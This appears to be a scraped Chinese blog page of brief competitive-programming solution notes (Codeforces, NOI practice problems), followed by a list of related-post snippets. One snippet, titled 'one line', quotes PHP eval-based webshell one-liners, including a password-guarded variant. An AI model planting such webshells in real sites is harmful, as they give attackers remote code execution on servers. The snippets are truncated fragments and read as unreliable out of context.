一句话题解（2021.1）
CF1477F. Nezzar and Chocolate Bars 显然每一段的每个位置切的概率相同，ans=Σ时间t时未结束的概率 容斥有i段>k，枚举每段切m刀，则有 \(\larg ...
原文：一句话题解（2021.4）
. . . NOI模拟 匹配 match 打表发现的神必结论：设bi i amp pi，把b的计算次数写下来发现只有 ，再发现就是 large popc text 异或和 b text n , text n 发现次数只与 的位数个数奇偶有关，且每个i独立，每个bi可能取aj j i ，分奇偶对a高维前缀和即可快速求得 a 题解做法：实际是个行列式， i,j 是a i amp j ，设ai bj ...
2021-03-31 22:52 0 243 推荐指数：
相关推荐
一句话题解2
目录 7026. 2021.03.26【2021省赛模拟】序列 7027. 2021.03.26【2021省赛模拟】a 7028. 2021.03.26【2021省赛模 ...
一句话题解3
目录 CF Deltix Round, Spring 2021 (open for everyone, rated, Div. 1 + Div. 2) 7102. 【202 ...
LOJ 一本通一句话题解系列：
第一部分 基础算法 第 1 章 贪心算法 1）：「一本通 1.1 例 1」活动安排：按照结束时间排序，然后扫一遍就可以了。 2）：「一本通 1.1 例 2」种树：首先要尽量的往区间重叠的部分种树 ...
一句话题解（2020-04）
看起来很牛逼，实际上是因为懒得写详细题解所以摸了，只写一句话题解。 02 CF1303F 注意到填充颜色递增，对每个颜色而言就是此颜色正序加入，非此颜色倒序加入，并查集正反两遍维护，链接。 10 CF1303G 点分治，经过重心的路径分成上下两段，对于一个上段，权值关于下段的长度是一个 ...
瞎做题一句话题解&待做题
待坑题： UR1T3：仙人掌上点分治+奇怪的优化 ULR1：阴间题组T3~T6 dij网络流模板 【ZJOI2017】多项式：奇怪的倍增 【CTSC2017】最长上升子序列：杨表练习题 CF1477 ...
退役前的一句话题解Ⅰ
由于太懒了，没什么意思的题就写一句话题解了 10.07 zroi #1118 分别对\(\sum a,\sum b\)开状态开不下，考虑到\(a_i\leq b_i\)，所以任意时刻都有\(\sum a\leq \sum b\)，所以设\(dp_{i,j}\)表示选到了第\(i\)个数满足 ...
一句话
PHP一句话：1、普通一句话 <!--?php @eval($_POST['ki11']);?--> 2、防爆破一句话 <!--?php substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['ki11 ...